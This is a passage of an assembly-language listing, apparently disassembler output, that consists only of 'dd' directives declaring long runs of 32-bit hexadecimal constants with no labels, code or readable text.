		dd 0EAD6CC17h, 7FE6EDh,	8712DC37h, 190C44FDh, 0E0A5C002h
		dd 60259E99h, 0CCF255h,	0D96C1EDDh, 874597C1h, 77EDF80Eh
		dd 5DE5E00Bh, 0A3A940h,	961CF9F5h, 22552137h, 0F2C16100h
		dd 713EF1D6h, 0AD7D033Ch, 3F907A81h, 0EE8C8D98h, 0A26C7000h
		dd 0F282DED5h, 70845CF7h, 0B2C8CB00h, 87410B38h, 6521EC0Eh
		dd 6481615Eh, 0F07EACF7h, 0F974313Ch, 0A1EF4500h, 0C7F187D5h
		dd 0ED0E0C2Ch, 0AFF02FA5h, 0E637E800h, 0D157DFA7h, 0BA560049h
		dd 3AE2AAF9h, 2301DBD9h, 0AFF021C4h, 61C89B96h,	60BE1CEEh
		dd 7F9A005Eh, 0B13BEA81h, 0EB158301h, 401E3574h, 0D65DF0h
		dd 0D03DC87h, 892C2386h, 3A905B00h, 1E52E8DBh, 389B0073h
		dd 7A5E96AEh, 4F00E259h, 41D3EF70h, 0F06D5A91h,	0BB35012Ch
		dd 4BF2A20Eh, 0BC5A70B4h, 4468BE00h, 0F75451DBh, 7B430195h
		dd 20B3CCC0h, 8460204Ch, 0AD08C300h, 7744D6D7h,	0FCC000A8h
		dd 73D4CE13h, 93DA961h,	5201F708h, 4F58A4E7h, 0F03BFA29h
		dd 6901AA49h, 6B0D285Ch, 0AFD0C157h, 84421847h,	2A701013h
		dd 3C5DB009h, 0E99008CCh, 64B1A43Ah, 0F089210Ah, 4F9AE387h
		dd 45728140h, 0B1420E05h, 6A4093AFh, 6C447F03h,	0BD9CB31Ch
		dd 0CE98FA80h, 66E1E91h, 5D32B8Dh, 6B00FEA9h, 57AC364Dh
		dd 0AFCE69h, 0C4C28EB2h, 20872A91h, 3FFF854Ch, 0FAAE13BCh
		dd 0B2B5B100h, 1DD0E5B9h, 0C42F55h, 0B65D7306h,	5A3E8BF1h
		dd 0EDFA00D5h, 94478144h, 65F80003h, 33A01D1Eh,	5A394EA6h
		dd 6FE1007Fh, 47BA3D28h, 0C441542Dh, 97240049h,	0E51FAE94h
		dd 0C850F802h, 7F1C4D94h, 0F34773E0h, 32304EE1h, 6E02BDh
		dd 5E52A4F9h, 2B20B9F6h, 3232A00h, 87AA0FF4h, 0DDE507CDh
		dd 33E225A5h, 13A01992h, 4DF45ADEh, 7BBCFA00h, 0FF2A302h
		dd 0A4E0BD9Dh, 0D30926E9h, 842CB3h, 334FA4B4h, 0E3B00069h
		dd 27EA65D4h, 29009A8Eh, 0F857DAE8h, 0A9CD1Ah, 71C0D820h
		dd 82C90AEEh, 0BD00947Bh, 0CA0D4F74h, 2D92D84h,	0EC45B6C3h
		dd 2440398Ch, 583A6F7Bh, 230E06D7h, 0F870F546h,	0B8263083h
		dd 5C8B2181h, 83B4A30h,	3CC344A6h, 933EEE01h, 669C4B00h
		dd 0DC396B8Fh, 1441351Dh, 5173F000h, 0D1C1E1h, 2144D492h
		dd 0B883E9A5h, 0CD402600h, 9F5E3B19h, 90B5074Fh, 0FE787B5Ch
		dd 0F3C172Ah, 0C3869B3Bh, 0A30011BCh, 85107555h, 0E41F867Bh
		dd 0BEB63009h, 0E826F8B0h, 426BA005h, 9C408377h, 0A63CDC6Fh
		dd 4D070009h, 82E4CAF2h
		dd 1B033F2Fh, 0F583A970h, 9164A1D4h, 4B60E8E9h,	0C3F100B0h
		dd 8C9234F7h, 821EE55Eh, 7A004FD6h, 0F05DB3ABh,	85B701E4h
		dd 9D27CB51h, 3153600Dh, 0B0C06400h, 0CCDE132h,	0DF900022h
		dd 85218A3Bh, 3702C8DAh, 4BFC18B2h, 0E68EE0E9h,	68C63CE4h
		dd 4779A400h, 0DFCCAE21h, 0A0A83Fh, 1C904FB7h, 5891E14h
		dd 0F82329E0h, 16980A5h, 0EA00E5BEh, 39AC6DB1h,	77E6C8h
		dd 2A8D4E5Fh, 0F8C784B7h, 83A3D05h, 8804ABFDh, 1F8746B1h
		dd 0DA3F64E3h, 420048FAh, 4BAD0002h, 761BAF15h,	8300A528h
		dd 0DE85CB01h, 6067EA75h, 0F0A42092h, 8D723E29h, 0C70820A7h
		dd 0F10C21Dh, 12F1D0A0h, 9A72DBE2h, 18006379h, 7C1686B8h
		dd 3F85996Ah, 1480F278h, 69879655h, 0FCA8BD33h,	0B500E944h
		dd 5CFB3B53h, 74C323C2h, 21456755h, 0F0B510E1h,	0D3073309h
		dd 76A8944Dh, 87E86Eh, 7E75648Ah, 0B9775F5Bh, 0D7CD7B8h
		dd 0A93B3201h, 7A99ADFFh, 92A900E3h, 0BF12DAF1h, 9B0644B5h
		dd 0F76E87FBh, 3D580121h, 977BDA7Dh, 0FFCBC357h, 0EE6002D7h
		dd 78A53700h, 2CCA0314h, 0F1B26ABCh, 194CE2A0h,	0D0B1BB60h
		dd 4F542Bh, 0E611726h, 81C40741h, 0C950A374h, 2B0182E4h
		dd 3187B729h, 39A0D442h, 272468Ch, 3B54B5DAh, 0FE001CD3h
		dd 0C82FB5D2h, 3CB25A6h, 787670E0h, 28FACE5Fh, 95311440h
		dd 30A187FCh, 8DF1873h,	0CB3B55B5h, 33148C6h, 2BB5D7E3h
		dd 0D9F70F71h, 660C3802h, 0BD38F623h, 0C0EAB8D3h, 92861C50h
		dd 6BF2CCh, 2E118BACh, 3607B822h, 21A108CCh, 0AC7400C7h
		dd 0B946E65Ch, 19C0901Ch, 1F75A9E1h, 0BA6D0396h, 61A21760h
		dd 0C2CAD9A0h, 9CB24600h, 10DC8320h, 64E8A804h,	9F0C00D0h
		dd 0BBE6F775h, 71001EA9h, 0E84EC6CFh, 851A6Ah, 82EDF902h
		dd 16E5C406h, 997189F3h, 8B0C1074h, 9C551EB0h, 0C008A4FBh
		dd 7BDF7D56h, 4486FF76h, 3E00382Ch, 4612F37Dh, 82F91Ch
		dd 0C96718C0h, 2733AF75h, 0F44574Ch, 5DB06198h,	0E7F38400h
		dd 0FEB3F6Fh, 1C14FE0Fh, 706691F9h, 0D0018ABh, 38790517h
		dd 0F6D4B34Dh, 0C2C506B5h, 0B1131A57h, 13508D58h, 1000DAA5h
		dd 0DF9E8E64h, 0F428009Dh, 85E012E1h, 16616D71h, 72FB9A30h
		dd 4546C48h, 0AF7BE97Dh, 0B8362C57h, 67272CE8h,	0E0B2006Eh
		dd 10D4098Fh, 3C81FB60h, 0D95E6A23h, 187160E1h,	0E87D0847h
		dd 61C4A77Bh, 7D4F3940h, 0CB00769Dh, 0B0510FECh, 4410D5A3h
		dd 85004DF8h, 807A9E47h, 3A40FCA2h, 0C375A0F7h,	478D3A21h
		dd 610CBCA8h, 2C245C00h, 397251A9h, 69046003h, 931BCC09h
		dd 0FCEAB0A8h, 0C0C9DE00h, 6F994372h, 84A8004Fh, 80A50C06h
		dd 8F19F23Fh, 1B86ED64h, 9F006823h, 0A8117FACh,	20EE5F5Dh
		dd 28006174h, 5B7B2D5Eh, 30F0FACEh, 1C100D87h, 0E30FE0EBh
		dd 0A0F70C85h, 286816DFh, 0F926004Ch, 0C2F18057h, 0C70109E5h
		dd 0BCAEDD0Fh, 0AC9D589h, 46554180h, 95486DA8h,	0B1C1F500h
		dd 0DEDA81EBh, 3C5AE2C2h, 0CEB8DBA1h, 0E27B9Dh,	76DD61D4h
		dd 0E03136BEh, 4684991Fh, 748E5183h, 40EF4975h,	88ECFB99h
		dd 79F4A0Eh, 0B98120DEh, 0C3846B89h, 0E06F1C39h, 1A93F2B8h
		dd 69E4BD01h, 0B77ACBBh, 1F3AA7C0h, 0B0DF3658h,	66D90631h
		dd 0B62E6A1Fh, 191B680Dh, 2AE80BE5h, 395D0F75h,	0EF801C65h
		dd 37266D7Ch, 8D0368DEh, 88B8DFDEh, 1D623AD7h, 18382080h
		dd 0D67A2155h, 9656DF26h, 58D2E003h, 0BCE107EDh, 0D7E74060h
		dd 0AEF77482h, 4330F80h, 52C8014Ah, 6547A4D9h, 2D488063h
		dd 2B9F3E5Fh, 63CDF084h, 6924205Ah, 71C11FB3h, 1B298066h
		dd 0E4899F74h, 1020703h, 3FF5BFCh, 20121D1Eh, 1096B20h
		dd 8CF980A9h, 3062C088h, 5599EC58h, 0A00086EBh,	73294F5h
		dd 0AA4F70h, 76B444BDh,	0C706FF89h, 0D4B3FB29h,	0E24C0D91h
		dd 6FA817h, 5A8EE1B6h, 0BF3D8018h, 56E51D65h, 0A1D41680h
		dd 4BCB3EDh, 0AB5F5CA4h, 0E4248008h, 0CD000223h, 0F4979EDAh
		dd 0DC558Fh, 0B9114EB0h, 0C2F7689Fh, 86AA390Ch,	7FE715Dh
		dd 0E180A685h, 0D91900E5h, 1850FF3Dh, 8E002348h, 6B5B57A6h
		dd 2A0B1BBCh, 819471D4h, 7518CE9Ch, 0E4629F15h,	109C4298h
		dd 3B002014h, 9C269F6Ch, 6E120FB0h, 3820878Fh, 6140255h
		dd 4319056Ch, 0B001926h, 0EBA13180h, 0D46259h, 0D127C07Eh
		dd 34B9B78Bh, 0C4900462h, 0C08A051Eh, 5265C1C3h, 49E5D51Fh
		dd 2042D909h, 9DE2AD24h, 1080E1CDh, 0F62B80C0h,	0E005BDECh
		dd 6065E815h, 0A182C823h, 0F8574390h, 0FAD13C80h, 8A913D4h
		dd 0E4002D61h, 0A0CFACAh, 71FDE232h, 81DB028Bh,	201E58B7h
		dd 18CF9891h, 5F9F0976h, 343173E4h, 6D261018h, 0BC78079Fh
		dd 80CF60CDh, 4F3AB5AAh, 2CE98718h, 5639C468h, 0A7EE8ACh
		dd 75E176A6h, 18E821E4h, 901931F6h, 3931A600h, 0BC9B681Bh
		dd 7F510CD2h, 26B94741h, 43E0A900h, 0A99D31Fh, 0A86C019Fh
		dd 0B66AB7D8h, 7D2EDC63h, 7CE3D109h, 0D5E43376h, 0EFB828C0h
		dd 91E4913Bh, 0A903734Bh, 83A185DFh, 0E7F4A806h, 81090AA0h
		dd 7C901FF9h, 9D201321h, 0F46F00A3h, 8B23DB27h,	39640150h
		dd 0AE02C61Fh, 9062890Ah, 937600BCh, 4C547728h,	0A061F8CFh
		dd 0EA0B9D4h, 0B3729AA3h, 31591B46h, 18A9B081h,	81A60962h
		dd 9831EDE1h, 20B050FAh, 0B00A68Bh, 17F7C7C1h, 0B3FC4AAh
		dd 2CD2BEBFh, 0E9641018h, 0E5008072h, 5DC0F7C9h, 1D0D1F5h
		dd 39A78A3Fh, 60786A63h, 3A1C2745h, 0D82890E3h,	0A0AE8D30h
		dd 4725C5h, 3E545BCAh, 0BFE7094h, 5493203h, 0B0EB853Ah
		dd 1666F81h, 716AFB0Eh,	0D8A60FD6h, 84F42FB7h, 738C4707h
		dd 23400DC9h, 0E539F2h,	3385C0F1h, 0A04FC830h, 0CFFC0EDh
		dd 81045700h, 7678E5CDh, 0ACF63B84h, 0CFBDAD80h, 2F488A28h
		dd 0DBFDB300h, 68B8C33Bh, 863F3FC8h, 0F67F0180h, 48E1E690h
		dd 33F4F807h, 0D1C06A9Ch, 3DDABC1Bh, 45000AACh,	0FDB7863Bh
		dd 74038CA4h, 2C057784h, 98F5FBCAh, 0F19F994h, 0FBF0D47Eh
		dd 2E1C30A0h, 66FE4316h, 57A5D700h, 0EA3BDEDFh,	0F05D0702h
		dd 3365998Fh, 4100FDA9h, 0BA880FE6h, 2878B19h, 9356D8E0h
		dd 1CE02B42h, 620E5833h, 20BE4FFFh, 6ADD7D45h, 42DF0181h
		dd 0D9F9915Bh, 0A154D076h, 0ADC06E60h, 24C89Dh,	976FACCDh
		dd 8E7F5FFAh, 801B372Ah, 4E583900h, 0A95211B5h,	8AA100F7h
		dd 12D5101Fh, 24006826h, 96F8D91Ah, 73223D4Ah, 0CBF400ACh
		dd 0E5526DAAh, 95008FD6h, 7BB498C4h, 0E7F079h, 50580DB1h
		dd 0EAE9E869h, 0CD0EAE7Dh, 0E01A9E5Bh, 21921EAAh, 0FB5800B1h
		dd 568520C4h, 43066368h, 3DE950FEh, 0E1820D80h,	0E441FC62h
		dd 5F0099DFh, 0C9A97312h, 437037h, 0CF6FD30Dh, 6B24BD0Fh
		dd 1F696C03h, 0F8CAAC4Eh, 7005E4D5h, 604275A5h,	36BA4875h
		dd 3B007AEFh, 288E16E3h, 3FC2ED52h, 0F803A178h,	2D8D54A0h
		dd 6E491E00h, 0F6AEEB07h, 0D062075Dh, 43ADC278h, 25D11373h
		dd 0DD626021h, 97BCBE1Eh, 0C8EADBC0h, 7FCAD907h, 0E2251DF9h
		dd 607D00E8h, 676B02B8h, 68829301h, 27D53E13h, 511E4080h
		dd 0CDE78DDEh, 0BC658C03h, 98E1CAE9h, 7A8F8BEFh, 0EE810338h
		dd 4FE229ACh, 6E48C0E8h, 0D30C2B14h, 5A1B00C0h,	0CC37B439h
		dd 367C00CFh, 0D816F7A6h, 0FA015E63h, 3F387BAh,	64D18A6Bh
		dd 0E0382180h, 33BEDF63h, 0EACE4207h, 6C1C08Ch,	76D0A54Eh
		dd 5F860036h, 3519DEB8h
		dd 23662A22h, 219A09h, 16B868E6h, 0F52C7ABCh, 3174C20Ch
		dd 8C0C4883h, 0D4B86102h, 19256519h, 6AE81190h,	0DCCC30h
		dd 6692ECE6h, 0C3F6D140h, 4F306C77h, 6BA2993h, 74B81Ah
		dd 0C2F39DD2h, 0C54BB0D6h, 85BD6703h, 0E7F85C3Ch, 2B2A4C30h
		dd 7B8600A6h, 47C7F0ADh, 0F700A73Fh, 64D694B2h,	28EBF6D0h
		dd 0E8879FCh, 97540272h, 0F235F60h, 35002CCEh, 0D589F8A7h
		dd 366A74CCh, 882098FBh, 0DD06200Ah, 6D7020ECh,	51068C28h
		dd 0F63CDD79h, 17A600C8h, 72CEED21h, 0AA198A0Dh, 1C08457Ah
		dd 9342180h, 0DC6E42EDh, 0BF38F900h, 6B91818Dh,	7DF78077h
		dd 591E56F8h, 902AB67Ch, 89B89100h, 0BD72EED0h,	0B91B00D7h
		dd 458223FAh, 9B0E2B2Ch, 0A7885EC6h, 0B7F3FBF8h, 0A1CEDFF6h
		dd 2CA28D70h, 0C02E5BF0h, 0E1975651h, 0BA014E66h, 28F1F24Ah
		dd 0A44723BCh, 0A637D630h, 4D290377h, 362A7859h, 0F7C15864h
		dd 30D84882h, 620863D4h, 6488DAFAh, 0DC3C405Eh,	982BAB63h
		dd 2DD61EA5h, 846BCC39h, 506FD270h, 2BE48029h, 1D4F38h
		dd 0B07E7A1Ch, 0A4910EF8h, 6F14DA75h, 0C4865Bh,	0C3C09FE0h
		dd 1806C4D5h, 20A3C5E3h, 25809043h, 35CD0966h, 3F807B28h
		dd 0D144DC64h, 81F8AC00h, 46CCDD1Bh, 7E6B00A8h,	8A9ED5F9h
		dd 0A1002265h, 66647A2Bh, 3A5D9948h, 708E53C2h,	21475A3Ch
		dd 0C8EB803Fh, 0FF006E4Eh, 41272AB5h, 3DAFE1h, 795E71E5h
		dd 32870C93h, 5CE4AE00h, 283CD98Fh, 942A31DEh, 0FC888211h
		dd 32F2231Bh, 0BD4CD100h, 387CF7EBh, 0E6690F61h, 0F8008F37h
		dd 55B07205h, 0C47A0B1Eh, 0FA3B1F80h, 37AF7B1Eh, 0CA5152FCh
		dd 0F519FC04h, 0B7A00A80h, 3A672CD0h, 1379AC8Eh, 97DC39h
		dd 0F590DA34h, 0E61D1175h, 3319B767h, 84083029h, 84998344h
		dd 42351C22h, 10D221A4h, 3295848Dh, 3A9FE842h, 22CFD902h
		dd 0DE221431h, 201C24CEh, 4715D5h, 0FD419980h, 493D56B3h
		dd 9BD63Ch, 424FAAF6h, 424E910h, 6027CC3Ch, 0F8228032h
		dd 5A00B397h, 2FEA52F1h, 0F65D68h, 82D3DFFEh, 75E8605Bh
		dd 162D8500h, 0DBC8A44Bh, 30B00094h, 0E1313F40h, 1200EE1Bh
		dd 0F7E477FDh, 3C02A2EDh, 8501CE3Dh, 78C9F17h, 3475E0A8h
		dd 13937E00h, 0BB3EDC36h, 196B3A98h, 0E29A4E00h, 6F75A6DDh
		dd 0D400E178h, 0E44714DCh, 4A8C77h, 80173B06h, 9C9D1D66h
		dd 277DCB07h, 0E5F0B2FCh, 67A24Fh, 2C52DABAh, 0F0A49D06h
		dd 0F800837Dh, 0D572456h, 96BF35h, 81A10107h, 2EEE7A95h
		dd 0EF93AD00h, 0EA7E4B37h, 7C080066h, 0DD0C65E0h, 9C0044FEh
		dd 5A0609DFh, 0E88CB15h, 0A1ACD299h, 0C6E481C0h, 2F001F6Dh
		dd 1DCF5948h, 0E63D7FAh, 60E69778h, 0E4B50622h,	4F95B140h
		dd 341F5100h, 0DDA0B4AEh, 84E4F1h, 74B1375Bh, 7745F222h
		dd 984E9204h, 4C80C51Eh, 0B77158h, 0D53A2D13h, 29FD65D2h
		dd 733B101Dh, 0F666DFC0h, 0CFA31Ch, 0B26F1836h,	0BA71CA40h
		dd 6C2283Ah, 6D1F65BFh,	37D70018h, 2099E4EEh, 442885F8h
		dd 0B5FCBCE7h, 0EBC37801h, 0AB8A343Ch, 0CE0BE840h, 13F60086h
		dd 805FB6E7h, 0F2E05298h, 0BBA04E00h, 857047DDh, 0BFFE000Eh
		dd 6580FFEBh, 370E1E43h, 216FA362h, 992C0A8h, 4FCEECh
		dd 90B45F55h, 2BBD185Eh, 0E496B300h, 7DF49A78h,	264C1E53h
		dd 0C8DFC0F8h, 3FD37746h, 3B150B00h, 6E6AA3B8h,	808700E4h
		dd 638EEF7Eh, 4C24D70Eh, 0C692E040h, 36480040h,	951924h
		dd 3F8C2759h, 0B87BE534h, 1CFAB600h, 826F05A4h,	680E002Dh
		dd 0E7631BCCh, 0C92426F5h, 50FB461h, 608DAC36h,	5D5C2025h
		dd 0A2D8C500h, 59C9A56Bh, 0F11B0014h, 3BE26F96h, 9178AE8Ch
		dd 0B3255B00h, 0FEDB9429h, 0F2493EF0h, 0E873CB80h, 0EE1D8A43h
		dd 748B900h, 86DEF4B0h,	9A122884h, 0B47400D5h, 0BA964FBFh
		dd 477F5769h, 90785412h, 7AF2A400h, 251B9Fh, 11C7B45h
		dd 2306987Fh, 74D37112h, 0EC3AB400h, 6AD91Bh, 29465057h
		dd 0C9362C15h, 0E069AC00h, 0AA865DE3h, 75D748F6h, 4001F900h
		dd 0C12ECF50h, 0A400B090h, 0F872966Fh, 3FAC784Ch, 3900805Eh
		dd 0B0F9CBFh, 0A008B69h, 0EE042135h, 3B6D72Dh, 0C34E4912h
		dd 7CE19A26h, 0EF076088h, 73FF5001h, 0A3C71A44h, 32D864C9h
		dd 4DED00C1h, 3B772B46h, 89002A50h, 72410A51h, 7EF6DB5Fh
		dd 1D320222h, 9CDE551Bh, 1506DC0h, 878AAA39h, 567AD97h
		dd 0F89E3FF0h, 0E098CFh, 0AB9D429h, 0BCFB9034h,	18AD7B50h
		dd 0D0997A00h, 6B8588C7h, 17B41D0Dh, 60F58011h,	312579DEh
		dd 0F60C8F7Fh, 1077DF63h, 0EF230068h, 61D003B9h, 8B05ED3Ch
		dd 29731155h, 17DE04C0h, 40D45C37h, 0AD266700h,	250D314Eh
		dd 0F9011AB0h, 1E5B65ECh, 0FED0EF94h, 76570042h, 0E5B3A6F7h
		dd 0C860B268h, 48750E1Ah, 75903BEh, 35CBDA79h, 0C7C081D3h
		dd 5500CA86h, 4E91C53h,	2AA8813h, 0C602AF11h, 0D040DED7h
		dd 5051E45Dh, 70C024FCh, 0A71DAF05h, 0FC03C469h, 0F82BF40Dh
		dd 4350B3h, 0B2DAE73Dh,	595C2E78h, 87861E0Ch, 810B4h, 60EEABA8h
		dd 818C1763h, 6BFA19C0h, 5B701CADh, 0F69BC04h, 8072131Dh
		dd 0BBF7BFD5h, 0C0D450C1h, 339600C5h, 0D859BCD6h, 344836D3h
		dd 0AAB30FDCh, 2656E012h, 1B1DA45h, 0E1CC6F58h,	0BEF710ADh
		dd 5937000Ch, 9D13BDC8h, 2035006Ch, 57E59C71h, 3F300B9Ah
		dd 0A1DDE0EAh, 25BA004Fh, 26DF7C0Ch, 0C20E4A5Eh, 604C5029h
		dd 8B645FDAh, 8D6900F2h, 2151C8E9h, 0C50E5982h,	0EBFB727Ch
		dd 3583875Fh, 2261840h,	0A7EE011Fh, 88EB5613h, 48BBC865h
		dd 0AF976300h, 0FD80FEBAh, 5229C771h, 1C7F3Dh, 85DE8CAAh
		dd 803F142h, 0A2BFA993h, 8284B081h, 309891h, 5E0EFEBCh
		dd 4153BA26h, 434CFCE8h, 47D0000h, 0F5B8DE68h, 0CB0A14D4h
		dd 0BA00D8A0h, 54AF2F45h, 8A00BF25h, 7A2024AEh,	65A8D8h
		dd 5B640F1Ch, 2C407828h, 4762AD0Bh, 0C4318173h,	0B5703A77h
		dd 0D22004Fh, 0E509636Ah, 510FE183h, 80079169h,	0BC6D83Eh
		dd 0EB9E00B0h, 151B2134h, 0F3B8B5DAh, 5291CE13h, 0C9FB7403h
		dd 0F83093BCh, 0E62A77CDh, 0E28B50BFh, 3E8000D0h, 9892C4D2h
		dd 38001030h, 62DCDDB0h, 1C0E6C0Bh, 98DADB31h, 0A201105Ch
		dd 0C95C10FEh, 1C8C0024h, 0F07C43BAh, 7E3C0064h, 0F6724E4h
		dd 0CC075CE6h, 5673AEDEh, 8188F270h, 468CA093h,	90250357h
		dd 0A7A5F44Bh, 233283F8h, 87556003h, 0C841DE21h, 1630FBh
		dd 0E0B0BBCDh, 14A56A1Bh, 0FC957A00h, 0A5BA1A0h, 6657006Dh
		dd 83EB753Dh, 1E00A91Ah, 20BE9BEEh, 0C0A6A79Ah,	0ACD06C10h
		dd 0E6E8D5F7h, 360929FCh, 83A73507h, 0AEF47EEAh, 0BDD20428h
		dd 0C032B412h, 787163D0h, 2CD71C00h, 0DA0496ECh, 1849894h
		dd 0F903A20Fh, 403E4DA9h, 0C240FC8Dh, 29272D00h, 0BF5B9117h
		dd 723F0380h, 84B45706h, 468220F8h, 73357600h, 6F1CFC8Ah
		dd 9AE417h, 8775CF05h, 815526Eh, 6093C501h, 0AAD501F5h
		dd 0A761B440h, 0D75700C4h, 5C4CBD6Ah, 7019E235h, 73C0FDEBh
		dd 0C0BB0071h, 0E8817F8Fh, 0C7B53640h, 24008970h, 7DFF9435h
		dd 0F8E9DB39h, 0C9680902h, 10075501h, 3B09202Bh, 0FD00856Dh
		dd 0FDD9788h, 0E096733Dh, 0E2710052h, 0A1B44414h, 0CB39A69Dh
		dd 9B7200ACh, 0DE9F9E1Ch, 6CCE1EADh, 3091019Ah,	0DA20AAh
		dd 1EA099Ch, 0A38A9E85h, 0E2276FDEh, 7FCBF1E0h,	0A50B2C00h
		dd 333F5E82h
		dd 0BC9C5086h, 0B84E007h, 81F96F95h, 8E205400h,	316085CAh
		dd 42ADA0BEh, 0E61E041h, 957F4017h, 77D65780h, 609374Dh
		dd 80686F8Eh, 0AD8DF0BCh, 0F0075024h, 313D1DC2h, 77D14054h
		dd 830A8AD5h, 6B18E303h, 0FA052C3Ch, 17205890h,	40234B95h
		dd 1FF5AD14h, 350F0D52h, 0C0820701h, 0CEA6E097h, 0AC630075h
		dd 7B0BB2D9h, 1603473Dh, 2346A783h, 0B0BD9134h,	3E02F5h
		dd 0E68150E6h, 3C0B3E79h, 0D6095Eh, 797733Dh, 3F6E866h
		dd 9AE7F3C8h, 7B8103FBh, 0CCA5E438h, 4C8F780Bh,	13D662h
		dd 0AF51F527h, 0B0C0974Ah, 7270B38Bh, 82C70084h, 6FE5DA9Dh
		dd 0B63E9667h, 0E8DD8081h, 0ABC86DA8h, 29C901Fh, 954EEF4Ch
		dd 8DF82714h, 25CB5D00h, 0E30C3604h, 1F07E68Fh,	648BC83Bh
		dd 0E89700C4h, 0AD39A5CFh, 68D2BA0Bh, 704580AFh, 5CE20367h
		dd 7600240Bh, 80C29804h, 0A100A6EBh, 489383DDh,	1CCD4302h
		dd 0DC77AC8Ah, 0EC7200DEh, 0D5492373h, 4EB6DD03h, 0F803C034h
		dd 9A2CE9h, 7A864E7h, 0B5426EEBh, 0CF597F00h, 419FFC2Ah
		dd 0F9DA0063h, 16C5D637h, 0AB12935Bh, 0FCC14535h, 0D0478C5Dh
		dd 9EFA37C0h, 0C77D0068h, 0FB87A3FDh, 46B878D2h, 31638033h
		dd 3726B817h, 79C813E8h, 0F7E20045h, 0A05AA41Bh, 0B700207Dh
		dd 0B5C6BE35h, 52CCF8h,	781B0489h, 69A4C35Dh, 64D33E07h
		dd 17809AFEh, 1C1FEB43h, 4096035Eh, 0C979BD95h,	29005848h
		dd 0EE4A164Bh, 0A47B10h, 3B0D8FCBh, 0EC499241h,	0EBD69100h
		dd 2F5BD113h, 367A59h, 9BF98552h, 2161CE22h, 0F710C3Bh
		dd 4184D587h, 0F2A079F1h, 1622FC8h, 3CCCDB88h, 305B8138h
		dd 0F00049FAh, 5F192844h, 0F5AC94A7h, 38DCB421h, 4FB0038Ch
		dd 48B19136h, 867319A8h, 0D4FB5600h, 6EA81102h,	3F9A0062h
		dd 3960FA24h, 5EE080F0h, 0D0B55C00h, 7AC40CADh,	0F81F0013h
		dd 92FD618Eh, 0BEE2EC9Ah, 4F0A5E09h, 81A800D1h,	125241BAh
		dd 9C3D82Ch, 58C19033h,	4BC07BE3h, 55268Fh, 3D7CDF6Ch
		dd 3107192Dh, 77295D00h, 0C1C2E40h, 5010C32Fh, 0F780B8EBh
		dd 840E61CFh, 21094355h, 0AA8F5C8Eh, 0E2B1C0F0h, 0A4BA20h
		dd 0BD63519Eh, 7CA4ED85h, 2E554F0Fh, 172D014Ch,	5570675Ah
		dd 33FA09C6h, 74C28A3Fh, 31FFCD00h, 150CC1F5h, 0EEBC999Ah
		dd 0D02500CAh, 0E96E3875h, 0E20097B2h, 0A0E3DC92h, 0DA6A08h
		dd 88435E25h, 44F5E68Bh, 0B19B0B00h, 0E4D91811h, 37070042h
		dd 0DB972F5Dh, 7B07504Ah, 525741DDh, 0A11806F0h, 18FF67D7h
		dd 66CF00CAh, 7D0E3F0Ah, 8B3AB6C4h, 0AF80DFD8h,	5F6A1F6Ch
		dd 0A3037900h, 5C75BEDFh, 40E6FEh, 5671F68Bh, 9CD7E2EFh
		dd 0A0F406E8h, 50212E05h, 2E80BC51h, 3C37F60h, 0CBBA988Eh
		dd 5AB86873h, 4202CA5Bh, 5EC726E0h, 0F3C9803Ch,	176CCDh
		dd 0B4C03264h, 534F4716h, 0A0199400h, 7D0DC5A2h, 0BAC0069h
		dd 83B626AAh, 4A3FAEF7h, 4BF9C47h, 874507CBh, 6D513CDFh
		dd 0E4E0EAD6h, 0C271C13Dh, 0DC729870h, 758E553h, 0A7850CBDh
		dd 77FC2176h, 68790082h, 0BDF01489h, 3500373Ch,	9F9175E7h
		dd 26D5C8h, 5D34FE6Eh, 3171B72Eh, 9D4D648h, 83FAC035h
		dd 0E006FCE0h, 0FAF3C336h, 0CD011F2Ah, 0C9F8C783h, 9C31F081h
		dd 0E9985439h, 0D00DB40Fh, 1DC4A0A7h, 5CBB5B32h, 3C3D536Dh
		dd 297FB380h, 610A69A8h, 535EAD00h, 0DCF8B96Ah,	49C50598h
		dd 0C0C13573h, 826DA36h, 0FFFB39h, 2D50B8FDh, 85AB38h
		dd 0E41B9702h, 0A1AE2753h, 0B5BDC30Fh, 511D3F01h, 83F7DB80h
		dd 1C8E3EEh, 0CAC3547Ch, 70F4FED5h, 0A15CE9D9h,	808B1DFBh
		dd 4016AD00h, 0A2535Dh,	0E208866Eh, 953836CEh, 891C8374h
		dd 7F402E58h, 375FD667h, 0E11601CAh, 0C44D5987h, 8EFF0D4h
		dd 55E31E00h, 0B70C0A9Bh, 3EC3F609h, 1600771Dh,	0F886F513h
		dd 0FD0071E1h, 2B45453h, 0F6CB37h, 910F56E5h, 8A381824h
		dd 0E4160AE4h, 5300346Ah, 9740BC8h, 0C4E93857h,	30BADB00h
		dd 7DD8F5E0h, 9B35AC00h, 0D621B08Bh, 14BC00DDh,	3158E576h
		dd 8A267933h, 0CC005C47h, 0A542D51Fh, 68C3075Bh, 603F3A51h
		dd 87846070h, 0BD479400h, 33D5C2A2h, 3A5909C4h,	8005C6Fh
		dd 2B211274h, 2F621A64h, 305A30C0h, 22B403CBh, 0A8AA9055h
		dd 20DAD289h, 0D50A5088h, 94354DF2h, 106DCF0Ah,	0E80054CAh
		dd 5B619293h, 7EDF0263h, 0AAF5196Ch, 0D46E0841h, 0DD601D66h
		dd 5C1F9630h, 8236007Ch, 78B22CB1h, 607437Fh, 0F74E7938h
		dd 31774BB0h, 3B8F0042h, 1CFF3A84h, 3D3070E5h, 5FB0B046h
		dd 53CD0EC2h, 0B4A01888h, 49B13409h, 0C52DE81Ch, 4A045A00h
		dd 43FC1Ch, 9C794F8Bh, 0D658FBE2h, 0A33920C0h, 0BC3A2h
		dd 128EAD6Ah, 27701E7Ah, 74515Ch, 3EEA865Fh, 120BBA18h
		dd 1C0DF76h, 4E8B71Ch, 0EAEE0D4h, 9000D77h, 1CAF2171h
		dd 0F4266E13h, 56A30CDEh, 0E898C03Dh, 0E407DFF2h, 0A50C11ABh
		dd 97FFE32Fh, 46CE0BDh,	8890C065h, 0AC9CA2F8h, 0D067923Ch
		dd 0BD3E19BAh, 806E389Bh, 0DFCB165Eh, 3D15B1h, 0B869BB41h
		dd 0F3AF0FDh, 0EA8F470Eh, 22AE032Ch, 46A80059h,	13E62002h
		dd 0EE0BF487h, 0A6820Fh, 0ADC85435h, 882F1EEBh,	3C20C077h
		dd 19F38774h, 1C49A100h, 9CB8C665h, 9D2500B5h, 80DA9DCh
		dd 59056FABh, 0E36B8DFDh, 9809E600h, 0C0389F1Fh, 0B120F0A8h
		dd 333E0230h, 89198FC5h, 7825C0FEh, 4837C78Eh, 0B81ECC4Bh
